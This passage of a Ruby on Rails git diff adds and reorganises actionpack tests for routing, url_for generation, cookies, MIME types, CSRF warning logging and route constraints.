ActiveSupport::LogSubscriber::TestHelper::MockLogger.new + ActionController::Base.logger = logger + + begin + assert_blocked { post :index } + + assert_equal 1, logger.logged(:warn).size + assert_match(/CSRF token authenticity/, logger.logged(:warn).last) + ensure + ActionController::Base.logger = old_logger + end + end + def assert_blocked session[:something_like_user_id] = 1 yield diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb index 6ea492cf8b..6b8a8f6161 100644 --- a/actionpack/test/controller/resources_test.rb +++ b/actionpack/test/controller/resources_test.rb @@ -91,6 +91,15 @@ class ResourcesTest < ActionController::TestCase end end + def test_multiple_resources_with_options + expected_options = {:controller => 'threads', :action => 'index'} + + with_restful_routing :messages, :comments, expected_options.slice(:controller) do + assert_recognizes(expected_options, :path => 'comments') + assert_recognizes(expected_options, :path => 'messages') + end + end + def test_with_custom_conditions with_restful_routing :messages, :conditions => { :subdomain => 'app' } do assert @routes.recognize_path("/messages", :method => :get, :subdomain => 'app') @@ -523,7 +532,7 @@ class ResourcesTest < ActionController::TestCase routes.each do |route| routes.each do |r| next if route === r # skip the comparison instance - assert distinct_routes?(route, r), "Duplicate Route: #{route}" + assert_not_equal [route.conditions, route.path.spec.to_s], [r.conditions, r.path.spec.to_s] end end end @@ -1342,13 +1351,4 @@ class ResourcesTest < ActionController::TestCase assert_recognizes(expected_options, path) end end - - def distinct_routes? (r1, r2) - if r1.conditions == r2.conditions and r1.constraints == r2.constraints then - if r1.segments.collect(&:to_s) == r2.segments.collect(&:to_s) then - return false - end - end - true - end end diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb index aa9d193436..5bf68decca 100644 --- a/actionpack/test/controller/routing_test.rb +++ b/actionpack/test/controller/routing_test.rb @@ -1,7 +1,6 @@ # encoding: utf-8 require 'abstract_unit' require 'controller/fake_controllers' -require 'active_support/dependencies' require 'active_support/core_ext/object/with_options' class MilestonesController < ActionController::Base @@ -1665,114 +1664,6 @@ class RackMountIntegrationTests < ActiveSupport::TestCase assert_raise(ActionController::RoutingError) { @routes.recognize_path('/none', :method => :get) } end - def test_generate - assert_equal '/admin/users', url_for(@routes, { :use_route => 'admin_users' }) - assert_equal '/admin/users', url_for(@routes, { :controller => 'admin/users' }) - assert_equal '/admin/users', url_for(@routes, { :controller => 'admin/users', :action => 'index' }) - assert_equal '/admin/users', url_for(@routes, { :action => 'index' }, { :controller => 'admin/users' }) - assert_equal '/admin/users', url_for(@routes, { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' }) - assert_equal '/people', url_for(@routes, { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' }) - - assert_equal '/admin/posts', url_for(@routes, { :controller => 'admin/posts' }) - assert_equal '/admin/posts/new', url_for(@routes, { :controller => 'admin/posts', :action => 'new' }) - - assert_equal '/blog/2009', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009 }) - assert_equal '/blog/2009/1', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1 }) - assert_equal '/blog/2009/1/1', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1, :day => 1 }) - - assert_equal '/archive/2010', url_for(@routes, { :controller => 'archive', :action => 'index', :year => '2010' }) - assert_equal '/archive', url_for(@routes, { :controller => 'archive', :action => 'index' }) - assert_equal '/archive?year=january', url_for(@routes, { :controller => 'archive', :action => 'index', :year => 'january' }) - - assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' }) - assert_equal '/people', url_for(@routes, { :action => 'index' }, { :controller => 'people' }) - assert_equal '/people', url_for(@routes, { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people', url_for(@routes, {}, { :controller => 'people', :action => 'index' }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people/new', url_for(@routes, { :use_route => 'new_person' }) - assert_equal '/people/new', url_for(@routes, { :controller => 'people', :action => 'new' }) - assert_equal '/people/1', url_for(@routes, { :use_route => 'person', :id => '1' }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people/1.xml', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => 1 }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => Model.new('1') }) - assert_equal '/people/1', url_for(@routes, { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }) - assert_equal '/people/1', url_for(@routes, { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people/1', url_for(@routes, {}, { :controller => 'people', :action => 'show', :id => '1' }) - assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }) - assert_equal '/people/1/edit', url_for(@routes, { :controller => 'people', :action => 'edit', :id => '1' }) - assert_equal '/people/1/edit.xml', url_for(@routes, { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' }) - assert_equal '/people/1/edit', url_for(@routes, { :use_route => 'edit_person', :id => '1' }) - assert_equal '/people/1?legacy=true', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1', :legacy => 'true' }) - assert_equal '/people?legacy=true', url_for(@routes, { :controller => 'people', :action => 'index', :legacy => 'true' }) - - assert_equal '/id_default/2', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => '2' }) - assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => '1' }) - assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default', :id => 1 }) - assert_equal '/id_default', url_for(@routes, { :controller => 'foo', :action => 'id_default' }) - assert_equal '/optional/bar', url_for(@routes, { :controller => 'posts', :action => 'index', :optional => 'bar' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts', :action => 'index' }) - - assert_equal '/project', url_for(@routes, { :controller => 'project', :action => 'index' }) - assert_equal '/projects/1', url_for(@routes, { :controller => 'project', :action => 'index', :project_id => '1' }) - assert_equal '/projects/1', url_for(@routes, { :controller => 'project', :action => 'index'}, {:project_id => '1' }) - assert_raise(ActionController::RoutingError) { url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index' }) } - assert_equal '/projects/1', url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' }) - assert_equal '/projects/1', url_for(@routes, { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' }) - - assert_equal '/clients', url_for(@routes, { :controller => 'projects', :action => 'index' }) - assert_equal '/clients?project_id=1', url_for(@routes, { :controller => 'projects', :action => 'index', :project_id => '1' }) - assert_equal '/clients', url_for(@routes, { :controller => 'projects', :action => 'index' }, { :project_id => '1' }) - assert_equal '/clients', url_for(@routes, { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' }) - - assert_equal '/comment/20', url_for(@routes, { :id => 20 }, { :controller => 'comments', :action => 'show' }) - assert_equal '/comment/20', url_for(@routes, { :controller => 'comments', :id => 20, :action => 'show' }) - assert_equal '/comments/boo', url_for(@routes, { :controller => 'comments', :action => 'boo' }) - - assert_equal '/ws/posts/show/1', url_for(@routes, { :controller => 'posts', :action => 'show', :id => '1', :ws => true }) - assert_equal '/ws/posts', url_for(@routes, { :controller => 'posts', :action => 'index', :ws => true }) - - assert_equal '/account', url_for(@routes, { :controller => 'account', :action => 'subscription' }) - assert_equal '/account/billing', url_for(@routes, { :controller => 'account', :action => 'billing' }) - - assert_equal '/pages/1/notes/show/1', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'show', :id => '1' }) - assert_equal '/pages/1/notes/list', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'list' }) - assert_equal '/pages/1/notes', url_for(@routes, { :page_id => '1', :controller => 'notes', :action => 'index' }) - assert_equal '/pages/1/notes', url_for(@routes, { :page_id => '1', :controller => 'notes' }) - assert_equal '/notes', url_for(@routes, { :page_id => nil, :controller => 'notes' }) - assert_equal '/notes', url_for(@routes, { :controller => 'notes' }) - assert_equal '/notes/print', url_for(@routes, { :controller => 'notes', :action => 'print' }) - assert_equal '/notes/print', url_for(@routes, {}, { :controller => 'notes', :action => 'print' }) - - assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1' }) - assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' }) - assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes' }, { :controller => 'notes', :id => '1' }) - assert_equal '/notes/index/1', url_for(@routes, { :action => 'index' }, { :controller => 'notes', :id => '1' }) - assert_equal '/notes/index/1', url_for(@routes, {}, { :controller => 'notes', :id => '1' }) - assert_equal '/notes/show/1', url_for(@routes, {}, { :controller => 'notes', :action => 'show', :id => '1' }) - assert_equal '/notes/index/1', url_for(@routes, { :controller => 'notes', :id => '1' }, { :foo => 'bar' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }) - assert_equal '/notes/list', url_for(@routes, { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }) - - assert_equal '/posts/ping', url_for(@routes, { :controller => 'posts', :action => 'ping' }) - assert_equal '/posts/show/1', url_for(@routes, { :controller => 'posts', :action => 'show', :id => '1' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts', :action => 'index' }) - assert_equal '/posts', url_for(@routes, { :controller => 'posts' }, { :controller => 'posts', :action => 'index' }) - assert_equal '/posts/create', url_for(@routes, { :action => 'create' }, { :controller => 'posts' }) - assert_equal '/posts?foo=bar', url_for(@routes, { :controller => 'posts', :foo => 'bar' }) - assert_equal '/posts?foo%5B%5D=bar&foo%5B%5D=baz', url_for(@routes, { :controller => 'posts', :foo => ['bar', 'baz'] }) - assert_equal '/posts?page=2', url_for(@routes, { :controller => 'posts', :page => 2 }) - assert_equal '/posts?q%5Bfoo%5D%5Ba%5D=b', url_for(@routes, { :controller => 'posts', :q => { :foo => { :a => 'b'}} }) - - assert_equal '/news.rss', url_for(@routes, { :controller => 'news', :action => 'index', :format => 'rss' }) - - - assert_raise(ActionController::RoutingError) { url_for(@routes, { :action => 'index' }) } - end - def test_generate_extras assert_equal ['/people', []], @routes.generate_extras(:controller => 'people') assert_equal ['/people', [:foo]], @routes.generate_extras(:controller => 'people', :foo => 'bar') diff --git a/actionpack/test/controller/test_test.rb b/actionpack/test/controller/test_test.rb index 043d44500a..b64e275363 100644 --- a/actionpack/test/controller/test_test.rb +++ b/actionpack/test/controller/test_test.rb @@ -50,6 +50,10 @@ class TestTest < ActionController::TestCase render :text => request.query_string end + def test_protocol + render :text => request.protocol + end + def test_html_output render :text => <<HTML <html> @@ -142,6 +146,17 @@ XML end end + class ViewAssignsController < ActionController::Base + def test_assigns + @foo = "foo" + render :nothing => true + end + + def view_assigns + { "bar" => "bar" } + end + end + def test_raw_post_handling params = ActiveSupport::OrderedHash[:page, {:name => 'page name'}, 'some key', 123] post :render_raw_post, params.dup @@ -252,6 +267,15 @@ XML assert_equal "foo", assigns["foo"] end + def test_view_assigns + @controller = ViewAssignsController.new + process :test_assigns + assert_equal nil, assigns(:foo) + assert_equal nil, assigns[:foo] + assert_equal "bar", assigns(:bar) + assert_equal "bar", assigns[:bar] + end + def test_assert_tag_tag process :test_html_output @@ -515,6 +539,12 @@ XML ) end + def test_params_passing_doesnt_modify_in_place + page = {:name => "Page name", :month => 4, :year => 2004, :day => 6} + get :test_params, :page => page + assert_equal 2004, page[:year] + end + def test_id_converted_to_string get :test_params, :id => 20, :foo => Object.new assert_kind_of String, @request.path_parameters['id'] @@ -592,6 +622,19 @@ XML assert_nil @request.symbolized_path_parameters[:id] end + def test_request_protocol_is_reset_after_request + get :test_protocol + assert_equal "http://", @response.body + + @request.env["HTTPS"] = "on" + get :test_protocol + assert_equal "https://", @response.body + + @request.env.delete("HTTPS") + get :test_protocol + assert_equal "http://", @response.body + end + def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set cookies['foo'] = 'bar' get :no_op @@ -731,6 +774,22 @@ class CrazyNameTest < ActionController::TestCase end end +class CrazySymbolNameTest < ActionController::TestCase + tests :content + + def test_set_controller_class_using_symbol + assert_equal ContentController, self.class.controller_class + end +end + +class CrazyStringNameTest < ActionController::TestCase + tests 'content' + + def test_set_controller_class_using_string + assert_equal ContentController, self.class.controller_class + end +end + class NamedRoutesControllerTest < ActionController::TestCase tests ContentController diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb new file mode 100644 index 0000000000..7b734ff0fb --- /dev/null +++ b/actionpack/test/controller/url_for_integration_test.rb @@ -0,0 +1,183 @@ +# encoding: utf-8 +require 'abstract_unit' +require 'controller/fake_controllers' +require 'active_support/core_ext/object/with_options' + +module RoutingTestHelpers + def url_for(set, options, recall = nil) + set.send(:url_for, options.merge(:only_path => true, :_path_segments => recall)) + end +end + +module ActionPack + class URLForIntegrationTest < ActiveSupport::TestCase + include RoutingTestHelpers + + Model = Struct.new(:to_param) + + Mapping = lambda { + namespace :admin do + resources :users, :posts + end + + namespace 'api' do + root :to => 'users#index' + end + + match '/blog(/:year(/:month(/:day)))' => 'posts#show_date', + :constraints => { + :year => /(19|20)\d\d/, + :month => /[01]?\d/, + :day => /[0-3]?\d/ + }, + :day => nil, + :month => nil + + match 'archive/:year', :controller => 'archive', :action => 'index', + :defaults => { :year => nil }, + :constraints => { :year => /\d{4}/ }, + :as => "blog" + + resources :people + #match 'legacy/people' => "people#index", :legacy => "true" + + match 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol + match 'id_default(/:id)' => "foo#id_default", :id => 1 + match 'get_or_post' => "foo#get_or_post", :via => [:get, :post] + match 'optional/:optional' => "posts#index" + match 'projects/:project_id' => "project#index", :as => "project" + match 'clients' => "projects#index" + + match 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i + match 'extended/geocode/:postalcode' => 'geocode#show',:constraints => { + :postalcode => /# Postcode format + \d{5} #Prefix + (-\d{4})? #Suffix + /x + }, :as => "geocode" + + match 'news(.:format)' => "news#index" + + match 'comment/:id(/:action)' => "comments#show" + match 'ws/:controller(/:action(/:id))', :ws => true + match 'account(/:action)' => "account#subscription" + match 'pages/:page_id/:controller(/:action(/:id))' + match ':controller/ping', :action => 'ping' + match ':controller(/:action(/:id))(.:format)' + root :to => "news#index" + } + + def setup + @routes = ActionDispatch::Routing::RouteSet.new + @routes.draw(&Mapping) + end + + [ + ['/admin/users',[ { :use_route => 'admin_users' }]], + ['/admin/users',[ { :controller => 'admin/users' }]], + ['/admin/users',[ { :controller => 'admin/users', :action => 'index' }]], + ['/admin/users',[ { :action => 'index' }, { :controller => 'admin/users' }]], + ['/admin/users',[ { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' }]], + ['/people',[ { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' }]], + + ['/admin/posts',[ { :controller => 'admin/posts' }]], + ['/admin/posts/new',[ { :controller => 'admin/posts', :action => 'new' }]], + + ['/blog/2009',[ { :controller => 'posts', :action => 'show_date', :year => 2009 }]], + ['/blog/2009/1',[ { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1 }]], + ['/blog/2009/1/1',[ { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1, :day => 1 }]], + + ['/archive/2010',[ { :controller => 'archive', :action => 'index', :year => '2010' }]], + ['/archive',[ { :controller => 'archive', :action => 'index' }]], + ['/archive?year=january',[ { :controller => 'archive', :action => 'index', :year => 'january' }]], + + ['/people',[ { :controller => 'people', :action => 'index' }]], + ['/people',[ { :action => 'index' }, { :controller => 'people' }]], + ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people',[ {}, { :controller => 'people', :action => 'index' }]], + ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people/new',[ { :use_route => 'new_person' }]], + ['/people/new',[ { :controller => 'people', :action => 'new' }]], + ['/people/1',[ { :use_route => 'person', :id => '1' }]], + ['/people/1',[ { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people/1.xml',[ { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' }]], + ['/people/1',[ { :controller => 'people', :action => 'show', :id => 1 }]], + ['/people/1',[ { :controller => 'people', :action => 'show', :id => Model.new('1') }]], + ['/people/1',[ { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }]], + ['/people/1',[ { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people/1',[ {}, { :controller => 'people', :action => 'show', :id => '1' }]], + ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }]], + ['/people/1/edit',[ { :controller => 'people', :action => 'edit', :id => '1' }]], + ['/people/1/edit.xml',[ { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' }]], + ['/people/1/edit',[ { :use_route => 'edit_person', :id => '1' }]], + ['/people/1?legacy=true',[ { :controller => 'people', :action => 'show', :id => '1', :legacy => 'true' }]], + ['/people?legacy=true',[ { :controller => 'people', :action => 'index', :legacy => 'true' }]], + + ['/id_default/2',[ { :controller => 'foo', :action => 'id_default', :id => '2' }]], + ['/id_default',[ { :controller => 'foo', :action => 'id_default', :id => '1' }]], + ['/id_default',[ { :controller => 'foo', :action => 'id_default', :id => 1 }]], + ['/id_default',[ { :controller => 'foo', :action => 'id_default' }]], + ['/optional/bar',[ { :controller => 'posts', :action => 'index', :optional => 'bar' }]], + ['/posts',[ { :controller => 'posts', :action => 'index' }]], + + ['/project',[ { :controller => 'project', :action => 'index' }]], + ['/projects/1',[ { :controller => 'project', :action => 'index', :project_id => '1' }]], + ['/projects/1',[ { :controller => 'project', :action => 'index'}, {:project_id => '1' }]], + ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' }]], + ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' }]], + + ['/clients',[ { :controller => 'projects', :action => 'index' }]], + ['/clients?project_id=1',[ { :controller => 'projects', :action => 'index', :project_id => '1' }]], + ['/clients',[ { :controller => 'projects', :action => 'index' }, { :project_id => '1' }]], + ['/clients',[ { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' }]], + + ['/comment/20',[ { :id => 20 }, { :controller => 'comments', :action => 'show' }]], + ['/comment/20',[ { :controller => 'comments', :id => 20, :action => 'show' }]], + ['/comments/boo',[ { :controller => 'comments', :action => 'boo' }]], + + ['/ws/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1', :ws => true }]], + ['/ws/posts',[ { :controller => 'posts', :action => 'index', :ws => true }]], + + ['/account',[ { :controller => 'account', :action => 'subscription' }]], + ['/account/billing',[ { :controller => 'account', :action => 'billing' }]], + + ['/pages/1/notes/show/1',[ { :page_id => '1', :controller => 'notes', :action => 'show', :id => '1' }]], + ['/pages/1/notes/list',[ { :page_id => '1', :controller => 'notes', :action => 'list' }]], + ['/pages/1/notes',[ { :page_id => '1', :controller => 'notes', :action => 'index' }]], + ['/pages/1/notes',[ { :page_id => '1', :controller => 'notes' }]], + ['/notes',[ { :page_id => nil, :controller => 'notes' }]], + ['/notes',[ { :controller => 'notes' }]], + ['/notes/print',[ { :controller => 'notes', :action => 'print' }]], + ['/notes/print',[ {}, { :controller => 'notes', :action => 'print' }]], + + ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]], + ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' }]], + ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]], + ['/notes/index/1',[ { :action => 'index' }, { :controller => 'notes', :id => '1' }]], + ['/notes/index/1',[ {}, { :controller => 'notes', :id => '1' }]], + ['/notes/show/1',[ {}, { :controller => 'notes', :action => 'show', :id => '1' }]], + ['/notes/index/1',[ { :controller => 'notes', :id => '1' }, { :foo => 'bar' }]], + ['/posts',[ { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }]], + ['/notes/list',[ { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }]], + + ['/posts/ping',[ { :controller => 'posts', :action => 'ping' }]], + ['/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1' }]], + ['/posts',[ { :controller => 'posts' }]], + ['/posts',[ { :controller => 'posts', :action => 'index' }]], + ['/posts',[ { :controller => 'posts' }, { :controller => 'posts', :action => 'index' }]], + ['/posts/create',[ { :action => 'create' }, { :controller => 'posts' }]], + ['/posts?foo=bar',[ { :controller => 'posts', :foo => 'bar' }]], + ['/posts?foo%5B%5D=bar&foo%5B%5D=baz', [{ :controller => 'posts', :foo => ['bar', 'baz'] }]], + ['/posts?page=2', [{ :controller => 'posts', :page => 2 }]], + ['/posts?q%5Bfoo%5D%5Ba%5D=b', [{ :controller => 'posts', :q => { :foo => { :a => 'b'}} }]], + + ['/news.rss', [{ :controller => 'news', :action => 'index', :format => 'rss' }]], + ].each_with_index do |(url, params), i| + define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do + assert_equal url, url_for(@routes, *params), params.inspect + end + end + end +end diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb index 484e996f31..11ced2df2a 100644 --- a/actionpack/test/controller/url_for_test.rb +++ b/actionpack/test/controller/url_for_test.rb @@ -67,6 +67,20 @@ module AbstractController ) end + def test_subdomain_may_be_removed + add_host! + assert_equal('http://basecamphq.com/c/a/i', + W.new.url_for(:subdomain => false, :controller => 'c', :action => 'a', :id => 'i') + ) + end + + def test_multiple_subdomains_may_be_removed + W.default_url_options[:host] = 'mobile.www.api.basecamphq.com' + assert_equal('http://basecamphq.com/c/a/i', + W.new.url_for(:subdomain => false, :controller => 'c', :action => 'a', :id => 'i') + ) + end + def test_domain_may_be_changed add_host! assert_equal('http://www.37signals.com/c/a/i', diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb index fb67ecb07d..49da448001 100644 --- a/actionpack/test/dispatch/cookies_test.rb +++ b/actionpack/test/dispatch/cookies_test.rb @@ -148,6 +148,22 @@ class CookiesTest < ActionController::TestCase @request.host = "www.nextangle.com" end + def test_each + request.cookie_jar['foo'] = :bar + list = [] + request.cookie_jar.each do |k,v| + list << [k, v] + end + + assert_equal [['foo', :bar]], list + end + + def test_enumerable + request.cookie_jar['foo'] = :bar + actual = request.cookie_jar.map { |k,v| [k.to_s, v.to_s] } + assert_equal [['foo', 'bar']], actual + end + def test_key_methods assert !request.cookie_jar.key?(:foo) assert !request.cookie_jar.has_key?("foo") diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb index b6c08ffc33..d3465589c1 100644 --- a/actionpack/test/dispatch/mapper_test.rb +++ b/actionpack/test/dispatch/mapper_test.rb @@ -5,6 +5,7 @@ module ActionDispatch class MapperTest < ActiveSupport::TestCase class FakeSet attr_reader :routes + alias :set :routes def initialize @routes = [] @@ -35,6 +36,13 @@ module ActionDispatch Mapper.new FakeSet.new end + def test_mapping_requirements + options = { :controller => 'foo', :action => 'bar' } + m = Mapper::Mapping.new FakeSet.new, {}, '/store/:name(*rest)', options + _, _, requirements, _ = m.to_route + assert_equal(/.+?/, requirements[:rest]) + end + def test_map_slash fakeset = FakeSet.new mapper = Mapper.new fakeset @@ -83,6 +91,13 @@ module ActionDispatch assert_equal '/*path', fakeset.conditions.first[:path_info] assert_nil fakeset.requirements.first[:path] end + + def test_map_wildcard_with_format_true + fakeset = FakeSet.new + mapper = Mapper.new fakeset + mapper.match '/*path', :to => 'pages#show', :format => true + assert_equal '/*path.:format', fakeset.conditions.first[:path_info] + end end end end diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb index 851fb59d51..08fe2127b9 100644 --- a/actionpack/test/dispatch/mime_type_test.rb +++ b/actionpack/test/dispatch/mime_type_test.rb @@ -107,8 +107,10 @@ class MimeTypeTest < ActiveSupport::TestCase # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) } + types.each do |type| mime = Mime.const_get(type.to_s.upcase) + assert mime.respond_to?("#{type}?"), "#{mime.inspect} does not respond to #{type}?" assert mime.send("#{type}?"), "#{mime.inspect} is not #{type}?" invalid_types = types - [type] invalid_types.delete(:html) if Mime::Type.html_types.include?(type) diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb index b28a058250..93eccaecbd 100644 --- a/actionpack/test/dispatch/prefix_generation_test.rb +++ b/actionpack/test/dispatch/prefix_generation_test.rb @@ -50,7 +50,9 @@ module TestGenerationPrefix scope "/:omg", :omg => "awesome" do mount BlogEngine => "/blog", :as => "blog_engine" end + match "/posts/:id", :to => "outside_engine_generating#post", :as => :post match "/generate", :to => "outside_engine_generating#index" + match "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app" match "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine" match "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for" match "/conflicting_url", :to => "outside_engine_generating#conflicting" @@ -101,6 +103,7 @@ module TestGenerationPrefix class ::OutsideEngineGeneratingController < ActionController::Base include BlogEngine.routes.mounted_helpers + include RailsApplication.routes.url_helpers def index render :text => blog_engine.post_path(:id => 1) @@ -110,6 +113,10 @@ module TestGenerationPrefix render :text => blog_engine.polymorphic_path(Post.new) end + def polymorphic_path_for_app + render :text => polymorphic_path(Post.new) + end + def polymorphic_with_url_for render :text => blog_engine.url_for(Post.new) end @@ -201,6 +208,11 @@ module TestGenerationPrefix assert_equal "/awesome/blog/posts/1", last_response.body end + test "polymorphic_path_for_app" do + get "/polymorphic_path_for_app" + assert_equal "/posts/1", last_response.body + end + test "[APP] generating engine's url with url_for(@post)" do get "/polymorphic_with_url_for" assert_equal "http://example.org/awesome/blog/posts/1", last_response.body diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb index 060bcfb5ec..a611252b31 100644 --- a/actionpack/test/dispatch/request_test.rb +++ b/actionpack/test/dispatch/request_test.rb @@ -15,6 +15,7 @@ class RequestTest < ActiveSupport::TestCase assert_equal 'http://www.example.com', url_for assert_equal 'http://api.example.com', url_for(:subdomain => 'api') + assert_equal 'http://example.com', url_for(:subdomain => false) assert_equal 'http://www.ror.com', url_for(:domain => 'ror.com') assert_equal 'http://api.ror.co.uk', url_for(:host => 'www.ror.co.uk', :subdomain => 'api', :tld_length => 2) assert_equal 'http://www.example.com:8080', url_for(:port => 8080) diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb index ba7506721f..a71ac1bdc1 100644 --- a/actionpack/test/dispatch/routing_test.rb +++ b/actionpack/test/dispatch/routing_test.rb @@ -339,6 +339,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest end scope '(:locale)', :locale => /en|pl/ do + get "registrations/new" resources :descriptions root :to => 'projects#index' end @@ -504,6 +505,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest match '/countries/:country/(*other)', :to => redirect{ |params, req| params[:other] ? "/countries/all/#{params[:other]}" : '/countries/all' } match '/:locale/*file.:format', :to => 'files#show', :file => /path\/to\/existing\/file/ + + scope '/italians' do + match '/writers', :to => 'italians#writers', :constraints => ::TestRoutingMapper::IpRestrictor + match '/sculptors', :to => 'italians#sculptors' + match '/painters/:painter', :to => 'italians#painters', :constraints => {:painter => /michelangelo/} + end end end @@ -845,6 +852,29 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest end end + # tests the use of dup in url_for + def test_url_for_with_no_side_effects + # without dup, additional (and possibly unwanted) values will be present in the options (eg. :host) + original_options = {:controller => 'projects', :action => 'status'} + options = original_options.dup + + url_for options + + # verify that the options passed in have not changed from the original ones + assert_equal original_options, options + end + + # tests the arguments modification free version of define_hash_access + def test_named_route_with_no_side_effects + original_options = { :host => 'test.host' } + options = original_options.dup + + profile_customer_url("customer_model", options) + + # verify that the options passed in have not changed from the original ones + assert_equal original_options, options + end + def test_projects_status with_test_routes do assert_equal '/projects/status', url_for(:controller => 'projects', :action => 'status', :only_path => true) @@ -1442,6 +1472,16 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest end end + def test_nested_optional_path_shorthand + with_test_routes do + get '/registrations/new' + assert @request.params[:locale].nil? + + get '/en/registrations/new' + assert 'en', @request.params[:locale] + end + end + def test_default_params with_test_routes do get '/inline_pages' @@ -2229,6 +2269,20 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest verify_redirect 'http://www.example.com/countries/all/cities' end + def test_constraints_block_not_carried_to_following_routes + get '/italians/writers' + assert_equal 'Not Found', @response.body + + get '/italians/sculptors' + assert_equal 'italians#sculptors', @response.body + + get '/italians/painters/botticelli' + assert_equal 'Not Found', @response.body + + get 